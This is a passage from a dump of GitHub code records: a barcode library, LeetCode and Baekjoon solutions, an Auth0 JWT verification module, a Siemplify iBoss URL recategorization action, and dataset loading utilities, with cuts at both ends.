{wrong}\".format(name=name, wrong=\", \".join(wrong))\n )\n\n\nclass Code39(Barcode):\n r\"\"\"Initializes a new Code39 instance.\n :parameters:\n code : String\n Code 39 string without \\* and checksum (added automatically if\n `add_checksum` is True).\n writer : barcode.writer Instance\n The writer to render the barcode (default: SVGWriter).\n add_checksum : Boolean\n Add the checksum to code or not (default: True).\n \"\"\"\n\n name = \"Code 39\"\n\n def __init__(self, code, writer=None, add_checksum=True):\n self.code = code.upper()\n if add_checksum:\n self.code += self.calculate_checksum()\n self.writer = writer or Barcode.default_writer()\n check_code(self.code, self.name, REF)\n\n def __unicode__(self):\n return self.code\n\n __str__ = __unicode__\n\n def get_fullcode(self) -> str:\n \"\"\"Returns the full code\n\n :return: See above\n :rtype: str\n \"\"\"\n return self.code\n\n def calculate_checksum(self) -> Any:\n \"\"\"Calculates the checksum\n\n :return: Checksum\n :rtype: Any\n \"\"\"\n check = sum([MAP[x][0] for x in self.code]) % 43\n for k, v in MAP.items():\n if check == v[0]:\n return k\n\n def build(self) -> list:\n \"\"\"Builds the code\n\n :return: The whole code\n :rtype: list\n \"\"\"\n chars = [EDGE]\n for char in self.code:\n chars.append(MAP[char][1])\n chars.append(EDGE)\n return [MIDDLE.join(chars)]\n\n def render(self, writer_options: dict) -> Callable:\n \"\"\"Renders the code\n\n :param writer_options: The options to be there in the code\n :type writer_options: dict\n :return: The rendered code\n :rtype: Callable\n \"\"\"\n options = dict(module_width=MIN_SIZE, quiet_zone=MIN_QUIET_ZONE)\n options.update(writer_options or {})\n return Barcode.render(self, options)\n\n\ndef get_barcode(\n name: str, code: Optional[Any] = None, writer: Optional[Union[IO, Any]] = None\n) -> Union[Code39, Any]:\n \"\"\"Gets the Barcode\n\n :param name: Name of the bar code\n :type name: str\n :param code: The code, defaults to None\n :type code: Optional[Any], optional\n :param writer: The writer object or file pointer, defaults to None\n :type writer: Optional[Union[IO,Any]], optional\n :raises BarcodeNotFoundError: When the barcode is not found\n :return: The barcode that was requested\n :rtype: Union[Code39, Any]\n \"\"\"\n try:\n barcode = Code39\n except KeyError:\n raise BarcodeNotFoundError(\n \"The barcode {0!r} you requested is not \" \"known.\".format(name)\n )\n if code is not None:\n return barcode(code, writer)\n return barcode\n\n\ndef generate(\n name: str,\n code: Optional[Any] = None,\n writer: Optional[Union[IO, Any]] = None,\n writer_options: Optional[Dict] = None,\n output=None,\n):\n \"\"\"Generates the barcode\n\n :param name: Name of the barcode\n :type name: str\n :param code: The code, defaults to None\n :type code: Optional[Any], optional\n :param writer:The writer object or the file pointer, defaults to None\n :type writer: Optional[Union[IO,Any]], optional\n :param writer_options: The extra options to be encode with the barcode, defaults to None\n :type writer_options: Optional[Dict], optional\n \"\"\"\n options = writer_options or {}\n barcode = get_barcode(name, code, writer)\n barcode.write(output, options)\n","repo_name":"The-4th-Hokage/yondaime-hokage","sub_path":"minato_namikaze/lib/classes/barcode.py","file_name":"barcode.py","file_ext":"py","file_size_in_byte":24093,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"20"} +{"seq_id":"15615748888","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nfrom PIL import Image \nimport numpy as np\nimport data_preprocess\ndef read_in(dir,y):\n '''this function read in training examples and form the X matrix and Y vector\n Arguments:\n dir -- the direction of image file\n y -- true lable of this image, 0 or 1\n\n Returns:\n X -- (number_of_features,number_of_examples)\n Y -- true lable vector,(1,number_of_examples)\n '''\n X = np.zeros((10000,12000))\n Y = np.zeros((1,12000))\n\n for i in range(12000):\n X[:,i] = data_preprocess.data_preprocess(Image.open(\"%s/%d.jpg\"%(dir,i)))\n \n Y = Y + y\n\n return X,Y\n \n\n","repo_name":"Lorangeee/Warehouse","sub_path":"read_in.py","file_name":"read_in.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"1484815914","text":"# Given a binary tree\r\n#\n#\n# struct Node {\r\n# int val;\r\n# Node *left;\r\n# Node *right;\r\n# Node *next;\r\n# }\r\n#\n#\n# Populate each next pointer to point to its next right node. If there is no next right node, the next pointer should be set to NULL.\r\n#\n# Initially, all next pointers are set to NULL.\r\n#\n#  \r\n#\n# Follow up:\r\n#\n#\n# \tYou may only use constant extra space.\r\n# \tRecursive approach is fine, you may assume implicit stack space does not count as extra space for this problem.\r\n#\n#\n#  \n# Example 1:\n#\n#\n#\n#\n# Input: root = [1,2,3,4,5,null,7]\n# Output: [1,#,2,3,#,4,5,7,#]\n# Explanation: Given the above binary tree (Figure A), your function should populate each next pointer to point to its next right node, just like in Figure B. The serialized output is in level order as connected by the next pointers, with '#' signifying the end of each level.\n#\n#\n#  \n# Constraints:\n#\n#\n# \tThe number of nodes in the given tree is less than 6000.\n# \t-100 <= node.val <= 100\n#\n#\n\n\n\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, val: int = 0, left: 'Node' = None, right: 'Node' = None, next: 'Node' = None):\n self.val = val\n self.left = left\n self.right = right\n self.next = next\n\"\"\"\n\nclass Solution:\n def connect(self, root: 'Node') -> 'Node':\n if not root:\n return None\n curr = root\n \n dummy = Node()\n pre = dummy\n while curr:\n pre.next = curr.left\n if pre.next:\n pre = pre.next\n pre.next = curr.right\n if pre.next:\n pre = pre.next\n curr = curr.next\n #本层结束\n if not curr:\n curr = dummy.next\n pre = dummy\n return root\n \n \n# # initialize a virtual node\n# next_level = Node()\n# pre = next_level\n# dummy = next_level\n \n# #如果有下一层node,则继续;否则退出loop\n# while next_level:\n# next_level = None\n# while curr:\n# if curr.left:\n# #用pre来指向目前正在改变next pointer的node\n# pre.next = curr.left\n# #定位下一层node的起始点\n# if not next_level:\n# next_level = curr.left\n# pre = pre.next\n# if curr.right:\n# pre.next = curr.right\n# if not next_level:\n# next_level = curr.right\n# pre = pre.next\n# #在本层循环\n# curr = curr.next\n# # 本层结束,到下一层;set curr to the starting point of next-level nodes\n# curr = next_level\n# pre = dummy\n \n# return root\n \n \n","repo_name":"dragonouou/leetcode","sub_path":"solutions/0117-populating-next-right-pointers-in-each-node-ii/populating-next-right-pointers-in-each-node-ii.py","file_name":"populating-next-right-pointers-in-each-node-ii.py","file_ext":"py","file_size_in_byte":2893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"9110621504","text":"# 팰린드롬 : https://www.acmicpc.net/problem/8892\n# k개의 단어가 적혀있음 (서버 접속 비밀번호 힌트)\n# k개의 단어 중 2개의 단어를 합쳐야 하며, 팰린드롬이어야 함\n# 단어 k개 주어졌을 때, 팰린드롬 찾기\nfrom sys import stdin\nfrom itertools import permutations\n\ninput = stdin.readline\n\n\ndef get_permutations(w_list, count):\n if count == 0:\n return [[]]\n result = []\n for word_idx in range(len(w_list)):\n curr_word = w_list[word_idx]\n rest_item = [*w_list[:word_idx], *w_list[word_idx + 1:]]\n for rest in get_permutations(rest_item, count - 1):\n result.append([curr_word, *rest])\n return result\n\n\ndef is_palindrome(target_word):\n left, right = 0, len(target_word) - 1\n while left <= right:\n if target_word[left] != target_word[right]:\n return False\n left += 1\n right -= 1\n return True\n\n\nT = int(input())\n\nfor _ in range(T):\n k = int(input())\n word_list = []\n for _ in range(k):\n word_list.append(input().rstrip())\n\n result = 0\n is_find = False\n for candidate_list in get_permutations(word_list, 2):\n if is_palindrome(''.join(candidate_list)):\n is_find = True\n print(''.join(candidate_list))\n break\n if not is_find:\n print(0)\n","repo_name":"nakevin96/AlogirithmPrac","sub_path":"random/8892.py","file_name":"8892.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"12523601963","text":"\"\"\"\nThis file is to check autentcation users and connect with AUTH.\nwritten partially by Obda Al Ahdab\nproject number 3 in NANO degree for Udacity.\nI would like to refer to this page it helped me with decode header:'https://www.programcreek.com/python/example/118165/jose.jwt.JWTClaimsError'\n\"\"\"\n# --------------------------------------------------------------------------------------#\n# Import dependencies.\n# --------------------------------------------------------------------------------------#\n\nimport json\nfrom flask import request, _request_ctx_stack\nfrom functools import wraps\nfrom jose import jwt\nfrom urllib.request import urlopen\nfrom os import environ, error\n\n'''\nDefault data for AUTH0\n'''\n\n# AUTH0_DOMAIN = 'udacity-fsnd.auth0.com'\n# ALGORITHMS = ['RS256']\n# API_AUDIENCE = 'dev'\n\n# --------------------------------------------------------------------------------------#\n# AUTH0 config.\n# --------------------------------------------------------------------------------------#\n\nAUTH0_DOMAIN = environ.get('AUTH0_DOMAIN', 'dev-uiw51rx8.us.auth0.com')\nALGORITHMS = ['RS256']\nAPI_AUDIENCE = environ.get('API_AUDIENCE', 'coffee')\n\n\n# --------------------------------------------------------------------------------------#\n# AuthError Exception.\n# A standardized way to communicate auth failure modes\n# --------------------------------------------------------------------------------------#\n\n\nclass AuthError(Exception):\n def __init__(self, error, status_code):\n self.error = error\n self.status_code = status_code\n\n\n# --------------------------------------------------------------------------------------#\n# Auth Header.\n# implement get_token_auth_header() method\n# NOTE it is TODO item.\n# --------------------------------------------------------------------------------------#\n\n\ndef get_token_auth_header():\n\n auth_header = request.headers.get('Authorization', '')\n\n if not auth_header:\n raise Exception({'success': False,\n 'message': 'Missing Authorization',\n 'error': 401}, 401)\n\n header_parts = auth_header.split(' ')\n\n if len(header_parts) != 2:\n raise Exception({'success': False,\n 'message': 'Header not in format',\n 'error': '401'}, 401)\n\n elif header_parts[0].lower() != 'bearer':\n raise Exception({'success': False,\n 'message': 'Missian bearer',\n 'error': '401'}, 401)\n\n return header_parts[1]\n\n\n# --------------------------------------------------------------------------------------#\n# Check permissions.\n# implement check_permissions(permission, payload) method\n# NOTE it is TODO item.\n# --------------------------------------------------------------------------------------#\n\n\ndef check_permissions(permission, payload):\n if 'permissions' not in payload:\n raise Exception({'success': False,\n 'message': 'No Permissions in header',\n 'error': '401'}, 401)\n\n if permission not in payload['permissions']:\n raise Exception({'success': False,\n 'message': 'unauthorized',\n 'error': '401',\n }, 401)\n return True\n\n\n# --------------------------------------------------------------------------------------#\n# Verify JWT.\n# implement verify_decode_jwt(token) method.\n# NOTE it is TODO item.\n# --------------------------------------------------------------------------------------#\n\n\ndef verify_decode_jwt(token):\n jsonurl = urlopen(\n f'https://{AUTH0_DOMAIN}/.well-known/jwks.json')\n jwks = json.loads(jsonurl.read())\n\n unverified_header = jwt.get_unverified_header(token)\n\n rsa_key = {}\n if 'kid' not in unverified_header:\n raise Exception({'success': False,\n 'message': 'invalid Authorization malformed',\n 'error': 401\n }, 401)\n\n for key in jwks['keys']:\n if key['kid'] == unverified_header['kid']:\n rsa_key = {\n 'kty': key['kty'],\n 'kid': key['kid'],\n 'use': key['use'],\n 'n': key['n'],\n 'e': key['e']\n }\n\n if rsa_key:\n try:\n payload = jwt.decode(\n token,\n rsa_key,\n algorithms=ALGORITHMS,\n audience=API_AUDIENCE,\n issuer=f'https://{AUTH0_DOMAIN}/'\n )\n\n return payload\n\n except jwt.ExpiredSignatureError:\n raise AuthError({'success': False,\n 'message': 'session is expired',\n 'error': '401'\n }, 401)\n\n except jwt.JWTClaimsError:\n raise AuthError({'success': False,\n 'message': 'Invalid claims',\n 'error': '401'\n }, 401)\n except Exception:\n raise AuthError({'success': False,\n 'message': 'Invalid header',\n 'error': '400'\n }, 400)\n raise AuthError({'success': False,\n 'message': 'invalid appropriate key',\n 'error': '400'\n }, 400)\n\n\n# --------------------------------------------------------------------------------------#\n# The Wrapper\n# implement @requires_auth(permission) decorator method.\n# --------------------------------------------------------------------------------------#\n\n\ndef requires_auth(permission=''):\n def requires_auth_decorator(f):\n @wraps(f)\n def wrapper(*args, **kwargs):\n token = get_token_auth_header()\n payload = verify_decode_jwt(token)\n check_permissions(permission, payload)\n return f(payload, *args, **kwargs)\n\n return wrapper\n return requires_auth_decorator\n\n# --------------------------------------------------------------------------------------#\n# The END of CODE.\n# --------------------------------------------------------------------------------------#\n","repo_name":"omnrohr/coffee_shop","sub_path":"coffee_shop/backend/src/auth/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":6231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"7814033349","text":"from SiemplifyDataModel import EntityTypes\nfrom SiemplifyAction import SiemplifyAction\nfrom IBossManager import IBossManager\nfrom SiemplifyUtils import output_handler\nfrom ScriptResult import EXECUTION_STATE_COMPLETED, EXECUTION_STATE_FAILED\nfrom TIPCommon import extract_configuration_param\nfrom constants import URL_RECATEGORIZATION_SCRIPT_NAME, INTEGRATION_NAME\n\n\n@output_handler\ndef main():\n siemplify = SiemplifyAction()\n siemplify.script_name = URL_RECATEGORIZATION_SCRIPT_NAME\n siemplify.LOGGER.info('----------------- Main - Param Init -----------------')\n\n # Configuration\n cloud_api_root = extract_configuration_param(siemplify, provider_name=INTEGRATION_NAME, param_name='Cloud API Root',\n is_mandatory=True)\n account_api_root = extract_configuration_param(siemplify, provider_name=INTEGRATION_NAME, param_name='Account API Root',\n is_mandatory=True)\n username = extract_configuration_param(siemplify, provider_name=INTEGRATION_NAME, param_name='Username',\n is_mandatory=True)\n password = extract_configuration_param(siemplify, provider_name=INTEGRATION_NAME, param_name='Password',\n is_mandatory=True)\n verify_ssl = extract_configuration_param(siemplify, provider_name=INTEGRATION_NAME, param_name='Verify SSL',\n default_value=True, input_type=bool)\n\n siemplify.LOGGER.info('----------------- Main - Started -----------------')\n\n status = EXECUTION_STATE_COMPLETED\n result_value = True\n output_message = ''\n submitted_entities = []\n failed_entities = []\n suitable_entities = [entity for entity in siemplify.target_entities if entity.entity_type == EntityTypes.URL]\n\n try:\n manager = IBossManager(cloud_api_root, account_api_root, username, password, verify_ssl, siemplify.LOGGER)\n\n for entity in suitable_entities:\n try:\n siemplify.LOGGER.info('\\n\\nStarted processing entity: {}'.format(entity.identifier))\n\n manager.url_recategorization(entity.identifier)\n submitted_entities.append(entity.identifier)\n siemplify.LOGGER.info('Successfully submitted the following URL: \\n {}'.format(entity.identifier))\n except Exception as e:\n failed_entities.append(entity.identifier)\n siemplify.LOGGER.error(\n 'Action was not able to submit the following URL: \\n {}'.format(entity.identifier))\n siemplify.LOGGER.exception(e)\n\n siemplify.LOGGER.info('Finished processing entity: {}'.format(entity.identifier))\n\n if failed_entities:\n output_message += 'Action was not able to submit the following URLs for recategorization: \\n {}'.format(\n '\\n'.join(failed_entities))\n\n if submitted_entities:\n output_message += '\\n Successfully submitted the following URLs for recategorization: \\n {}'.format(\n '\\n'.join(submitted_entities))\n else:\n output_message = 'No URLs were submitted for recategorization.'\n siemplify.LOGGER.info(output_message)\n result_value = False\n\n except Exception as e:\n output_message = \"Error executing action '{}'. Reason: {}\".format(URL_RECATEGORIZATION_SCRIPT_NAME, e)\n siemplify.LOGGER.error(output_message)\n siemplify.LOGGER.exception(e)\n status = EXECUTION_STATE_FAILED\n result_value = False\n\n siemplify.LOGGER.info('----------------- Main - Finished -----------------')\n siemplify.LOGGER.info(\n '\\n status: {}\\n result_value: {}\\n output_message: {}'.format(status, result_value, output_message))\n siemplify.end(output_message, result_value, status)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"chronicle/tip-marketplace","sub_path":"Integrations/IBoss/ActionsScripts/URLRecategorization.py","file_name":"URLRecategorization.py","file_ext":"py","file_size_in_byte":3908,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"11925246","text":"#!/usr/bin/env python\n#\n# File: sarf2out6col.sh\n# Author: Alex Stivala\n# Created: April 2010\n#\n# sarf2out6col.sh - Convert SARF2 output format to 6 column format\n# queryid dbid querylen dblen Nres RMSD\n# \n#\n# Usage: sarf2out6col.sh < sarf2_results_file\n#\n# The input file is read fomr stdin\n# Output is to stdout.\n#\n#\n# This is quite tricky since it is not really space-delimited, but (sort of)\n# fixed column where fields can end up too large so no space between them,\n# and yet don't always START in same column.\n#\n# $Id: sarf2out6col.py 3695 2010-05-18 07:32:14Z alexs $\n#\n\n\nimport sys,os\n\n\nif len(sys.argv) != 1:\n usage(os.path.basename(sys.argv[0]))\n\n\nquerypdbid = None\n\n\nfor line in sys.stdin:\n queryid = line[:8]\n if line[11] == \"*\": # sometimes we get '***' for some reason\n querylen = 0\n else:\n querylen = int(line[11:14].lstrip())\n dbid = line[16:24]\n if line[27] == \"*\": # sometimes we get '***' for some reason\n dblen = 0\n else:\n dblen = int(line[27:30].lstrip())\n nres = int(line[32:35].lstrip())\n if line[35] == \"*\": # sometimes we get '***' for some reason\n sys.stderr.write('WARNING: bad RMSD for %s - %s\\n' % (queryid,dbid))\n rmsd = 9999\n else:\n rmsd = float(line[35:40].lstrip())\n sys.stdout.write(\"%s %s %3d %3d %3d %6.2f\\n\"\n % (queryid, dbid, querylen, dblen, nres, rmsd))\n \n","repo_name":"stivalaa/cuda_satabsearch","sub_path":"scripts/sarf2out6col.py","file_name":"sarf2out6col.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"74911199088","text":"#Product of Digits of Sum\r\n#Programmer: Jarrod Gertig\r\n#Date: Sept. 4, 2020\r\n#\r\n\r\n#Main math function\r\ndef funny_func(a,args): # To get the Product of Digits of Sum:\r\n beta = a # beta is placeholder for sum and products\r\n for arg in args: # for each number\r\n beta += arg # add it to the summation\r\n while len(str(beta))>1: # while digit count is > 1\r\n delta = list(str(beta)) # make new list of digits\r\n beta = 1 # multiplier\r\n for digit in delta: # for each digit\r\n beta *= int(digit) # multiply\r\n print(beta) # When only one digit remains, print it.\r\n\r\n#Function to get effective inputs\r\ndef injector():\r\n first = int(input(\"Enter the first number: \"))\r\n numbers = []\r\n marker = True\r\n while marker:\r\n holder = input(\"Enter another number (leave blank if done): \")\r\n if holder == '':\r\n marker = False\r\n else:\r\n numbers.append(int(holder))\r\n funny_func(first,numbers)\r\n\r\ninjector()\r\n","repo_name":"JarrodGertig/Public-Code","sub_path":"ProductofDigitsofSum.py","file_name":"ProductofDigitsofSum.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"18091458106","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCore functionalities for dataset manipulation: loading, registration, etc.\n\"\"\"\nimport os\nimport bisect\nimport io\nimport sys\nimport pickle\nimport itertools\nimport collections\nimport random\nimport arlib\nimport compfile\nimport scipy.sparse\n\nimport numpy as np\nimport networkx as nx\n\nfrom pathlib import Path\n\nfrom . import utils as _ds_utils\nfrom .. import utils as _utils\n\ndef load_dataset(name, *args,\n cache=False,\n data_cache_home=None,\n cache_name = None,\n **kwargs): # pragma: no cover\n \"\"\"Load a dataset which is specified by `name`\n\n This is the unique interface for loading datasets by name. It will dispatch the procedure to different loader \n \n Args:\n\n name (str): dataset name\n\n args: positional arguments that will be passed to the loader\n\n kwargs: keyword arguments that will be passed to the loader\n\n cache (bool): whether cache the dataset or not\n\n data_cache_home (path_like, NoneType): root directory for\n cache files. If it is None, use the default cache directory.\n\n cache_name (str): name of the cache file. If it is None, use\n dataset name as cache file name.\n \n Returns:\n\n Results returned by the loader\n\n Raises:\n KeyError: if no loader was registered for the dataset\n\n \"\"\"\n if cache:\n data_cache_home = _utils.validate_dir(\n data_cache_home, default_path=_config.DATA_HOME/'cache')\n if cache_name is None:\n cache_name = name\n fpath = data_cache_home/name\n if fpath.exists() and fpath.is_file():\n # load from cache\n with open(fpath, 'rb') as f:\n return pickle.load(f)\n loader = _ds_utils.get_dataset_loader(name)\n data = loader(*args, **kwargs)\n if cache:\n with open(fpath, 'wb') as f:\n pickle.dump(data, f)\n return data\n\n\ndef load_dataset_tvt(name, splitting,\n *args, **kwargs): # pragma: no cover\n \"\"\"Load a dataset training-validation-testing splitting\n \n This is the unique interface for loading dataset TVT splitting by\n name. It will dispatch the procedure to different loader\n \n Args:\n\n name (str): Dataset name\n\n splitting (str): Training-validation-testing splitting name\n\n args: Positional arguments that will be passed to the loader\n\n kwargs: Keyword arguments that will be passed to the loader\n\n Returns:\n\n Results returned by tvt loader\n\n \"\"\"\n if _ds_utils.dataset_tvt_has_loader(name, splitting):\n loader = _ds_utils.get_dataset_tvt_loader(name, splitting)\n data = loader(*args, **kwargs)\n else:\n data = load_dataset_tvt_default(name, splitting)\n return data\n\n\ndef load_dataset_tvt_txt(fpath): # pragma: no cover\n \"\"\"Load a train-validation-test splitting file\n \n Args:\n\n fpath (path_like, stream): the path or stream of the tvt file\n \n Returns:\n \n tuple[list]: A tuple containing id_training, id_validation and id_test.\n\n Raises:\n \n ValueError: if input `fpath` is not a valid path or stream\n \"\"\"\n if isinstance(fpath, (str, bytes, os.PathLike)):\n with compfile.open(fpath, 'rt') as f:\n return load_dataset_tvt_txt(f)\n \n if isinstance(fpath, io.IOBase):\n if isinstance(fpath, io.TextIOBase):\n id_train, id_val, id_test = [], [], []\n for line in fpath:\n node_id, tvt_label = line.split()\n if tvt_label.lower() in ['training', 'train', 'tr']:\n id_train.append(node_id)\n elif tvt_label.lower() in ['validation', 'val']:\n id_val.append(node_id)\n elif tvt_label.lower() in ['test', 'testing', 'te']:\n id_test.append(node_id)\n else:\n raise ValueError('Unexpected label:'+tvt_label)\n return id_train, id_val, id_test\n else:\n return load_dataset_tvt_txt(io.TextIOWrapper(fpath))\n \n raise ValueError('Input fpath must be a file fpath or opened file '\n ' stream')\n\n\ndef load_dataset_tvt_pickle(fpath): # pragma: no cover\n \"\"\"Load dataset tvt splitting from pickled file\n\n Args:\n\n fpath (path_like, stream): the path or stream of the tvt file\n \n Returns:\n \n tuple[list]: A tuple containing id_training, id_validation and id_test.\n \"\"\"\n if isinstance(fpath, (str, bytes, os.PathLike)):\n if compfile.is_compressed_file(fpath):\n with compfile.open(fpath, 'rb') as f:\n return pickle.load(f)\n else:\n with open(fpath, 'rb') as f:\n return pickle.load(f)\n\n if isinstance(fpath, io.RawIOBase):\n return pickle.load(f)\n\n raise ValueError('fpath must be a path-like object or a binary readable'\n ' file object.')\n\n\ndef load_dataset_tvt_default(name, splitting, data_home=None,\n download=True): # pragma: no cover\n \"\"\"Load dataset tvt splitting from the default file location\n \n Args:\n\n name (str): dataset name\n\n splitting (str): splitting name\n\n root (path_like): root directory of the splitting file\n \n Return:\n\n Results returned by load_dataset_tvt_txt or load_dataset_tvt_pickle.\n\n See also\n\n :func:`load_dataset_tvt_txt`, :func:`load_dataset_tvt_pickle`.\n\n \"\"\"\n data_home = _utils.validate_data_home(data_home)\n fpath = str(data_home/(name+'-tvt-'+splitting))\n exts1 = ['', '.bz2', '.gz', '.lzma', '.xz']\n exts2 = exts1 + ['.pickle'+x for x in exts1] \n for ext in exts2:\n fpath2 = Path(fpath+ext)\n if fpath2.is_file():\n return load_dataset_tvt_pickle(fpath2)\n\n exts2 = ['.txt'+x for x in exts1]\n for ext in exts2:\n fpath2 = Path(fpath+ext)\n if fpath2.is_file():\n return load_dataset_tvt_txt(fpath2)\n\n raise RuntimeError('Failed to find default tvt file for dataset: '+\n name+' and splitting: '+splitting+'.')\n\n\ndef split(Y, k, stratified=None, return_residual_set=False):\n \"\"\"Split a dataset into subsets\n \n Args:\n\n Y (int, Seq): An integer specify the total number of examples,\n or a sequence specify the labels of each example. Labels will\n be used for stratified splitting.\n\n k (int, float, Seq[int,float]): Specify the numbers or\n proportions of examples in each subset.\n \n stratified (bool, Seq[bool], None): specify whether stratified\n sampling should be used to sample each subset. Possible values:\n \n * None: Automatically determined depending on Y. If Y is a\n sequence, all subsets are stratified random samples, else\n all subsets are simple random samples.\n \n * bool: If True, all subsets are stratified random samples,\n else all subsets are simple random samples.\n \n * Seq[bool]: Specify stratified or not for each subset separately.\n \n return_residual_set (bool): Whether return indices of the\n residual set or not\n\n Return: \n \n tuple[Seq[int]]: tuple of sequences of int represent indices of\n the subsets\n\n Examples:\n\n >>> I, = split(10, 2)\n >>> len(I) == 2\n True\n >>> I1, I2 = split(10, [0.2, 3])\n >>> len(I1) == 2\n True\n >>> len(I2) == 3\n True\n >>> Y = [1]*10 + [2]*20 + [3]*30\n >>> I1, = split(Y, 2, True)\n >>> sorted(Y[i] for i in I1) == [1]*2 + [2]*2 + [3]*2\n True\n >>> I1, = split(Y, 0.2, True)\n >>> sorted(Y[i] for i in I1) == [1]*2 + [2]*4 + [3]*6\n True\n >>> I1, I2 = split(Y, [2, 0.3])\n >>> sorted(Y[i] for i in I1) == [1]*2 + [2]*2 + [3]*2\n True\n >>> sorted(Y[i] for i in I2) == [1]*3 + [2]*6 + [3]*9\n True\n >>> len(split(10, 2, return_residual_set=False))\n 1\n >>> len(split(10, 2, return_residual_set=True))\n 2\n >>> len(split(10, [2,0.2], return_residual_set=False))\n 2\n >>> len(split(10, [2,0.2], return_residual_set=True))\n 3\n >>> I1, I2, I3 = split(Y, [2, 0.3], return_residual_set=True)\n >>> sorted(I1+I2+I3) == list(range(60))\n True\n >>> split(None, 10)\n Traceback (most recent call last):\n ...\n ValueError: ...\n >>> split(10, 2, True)\n Traceback (most recent call last):\n ...\n ValueError: ...\n \"\"\"\n if (isinstance(Y, collections.Sequence) and\n not isinstance(Y, (str, bytes, bytearray))):\n N = len(Y)\n elif isinstance(Y, int):\n N, Y = Y, None\n else:\n raise ValueError('The first argument should be an int specifying '\n 'the total number of examples, or a sequence '\n 'specifying the labels of each example.')\n\n # normalize k so that proportions are converted to integers\n k = _utils.validate_seq(k, None, 'k', element_types=(int, float))\n nsets = len(k)\n \n if stratified is None:\n stratified = False if Y is None else True\n\n stratified = _utils.validate_seq(\n stratified, len(k), 'stratified', element_types=bool)\n\n if Y is None and any(stratified):\n raise ValueError('Labels are required for stratified splitting.')\n\n I = list(range(N))\n # np.nan and None are treated as unlabled elements, we will not\n # sample from these elements\n if Y is not None:\n I = [i for i in I if not (Y[i] is None or isinstance(Y[i], float)\n and np.isnan(Y[i]))]\n Ys = list(set(Y[i] for i in I))\n Ns = collections.Counter(Y[i] for i in I)\n nC = len(Ys)\n N = len(I)\n\n res_set = set(I)\n ret = [] # subsets to return\n for m in range(nsets):\n ret_m = [] # the m^th subset\n km = k[m]\n if stratified[m]:\n indices = []\n for n in range(nC):\n res_set_n = [i for i in res_set if Y[i] == Ys[n]]\n km_n = km if isinstance(km, int) else round(km * Ns[Ys[n]])\n indices += random.sample(res_set_n, km_n)\n else:\n # simple random sampling\n if isinstance(km, float):\n km = round(km * N)\n indices = random.sample(res_set, km)\n \n res_set -= set(indices)\n ret_m += (indices)\n ret.append(ret_m)\n if return_residual_set:\n ret.append(list(res_set))\n return ret\n\n\nclass Dataset(object): #pragma no cover\n \"\"\"An abstract class representing a Dataset.\n\n All other datasets should subclass it. All subclasses should override\n ``__len__``, that provides the size of the dataset, and ``__getitem__``,\n supporting integer indexing in range from 0 to len(self) exclusive.\n \"\"\"\n\n def __getitem__(self, index):\n raise NotImplementedError\n\n def __len__(self):\n raise NotImplementedError\n\n def __add__(self, other):\n return ConcatDataset([self, other])\n\n \nclass ArrayDataset(Dataset):\n \"\"\"Dataset wrapping arrays.\n\n Each sample will be retrieved by indexing tensors along the first dimension.\n\n Arguments: \n\n arrays (array, tuple[array]): a single array or tuple of arrays\n that have the same size of the first dimension.\n\n Examples:\n\n >>> D = ArrayDataset(np.diag(np.arange(3)))\n >>> len(D)\n 3\n >>> D[0]\n array([0, 0, 0])\n >>> D = ArrayDataset((np.diag(np.arange(3)), np.arange(3)))\n >>> len(D)\n 3\n >>> D[0]\n (array([0, 0, 0]), 0)\n \"\"\"\n def __init__(self, arrays):\n assert all(arrays[0].shape[0] == array.shape[0] for array in arrays)\n self.arrays = arrays\n\n def __getitem__(self, index):\n if isinstance(self.arrays, np.ndarray):\n item = self.arrays[index]\n else:\n item = tuple(array[index] for array in self.arrays)\n return item\n\n def __len__(self):\n if isinstance(self.arrays, np.ndarray):\n n = self.arrays.shape[0]\n else:\n n = self.arrays[0].shape[0]\n return n\n\n\nclass ConcatDataset(Dataset):\n \"\"\"Dataset to concatenate multiple datasets.\n\n Purpose: useful to assemble different existing datasets, possibly\n large-scale datasets as the concatenation operation is done in an\n on-the-fly manner.\n\n Args:\n\n datasets (sequence): List of datasets to be concatenated\n\n Examples:\n\n >>> D = ArrayDataset(np.diag(np.arange(3)))\n >>> D = ConcatDataset((D, D))\n >>> len(D)\n 6\n >>> D[3]\n array([0, 0, 0])\n >>> D[0]\n array([0, 0, 0])\n \"\"\"\n @staticmethod\n def cumsum(sequence):\n r, s = [], 0\n for e in sequence:\n l = len(e)\n r.append(l + s)\n s += l\n return r\n\n def __init__(self, datasets):\n super(ConcatDataset, self).__init__()\n assert len(datasets) > 0, 'datasets should not be an empty iterable'\n self.datasets = list(datasets)\n self.cumulative_sizes = self.cumsum(self.datasets)\n\n def __len__(self):\n return self.cumulative_sizes[-1]\n\n def __getitem__(self, idx):\n dataset_idx = bisect.bisect_right(self.cumulative_sizes, idx)\n if dataset_idx == 0:\n sample_idx = idx\n else:\n sample_idx = idx - self.cumulative_sizes[dataset_idx - 1]\n return self.datasets[dataset_idx][sample_idx] \n\n\nclass TransformDataset(Dataset):\n \"\"\"Generate new dataset by adding a transform to an existing dataset\n\n Args:\n\n dataset (Dataset): The input dataset.\n\n transform (callable): The transform that will be applied to\n each example of the input dataset.\n\n Returns:\n\n Dataset: A new dataset that each example will be transformed.\n \n Examples:\n\n >>> trans = lambda x: x * 2\n >>> D = TransformDataset(ArrayDataset(np.ones((3,4))), trans)\n >>> len(D)\n 3\n >>> np.all(D[0] == 2)\n True\n \"\"\"\n def __init__(self, 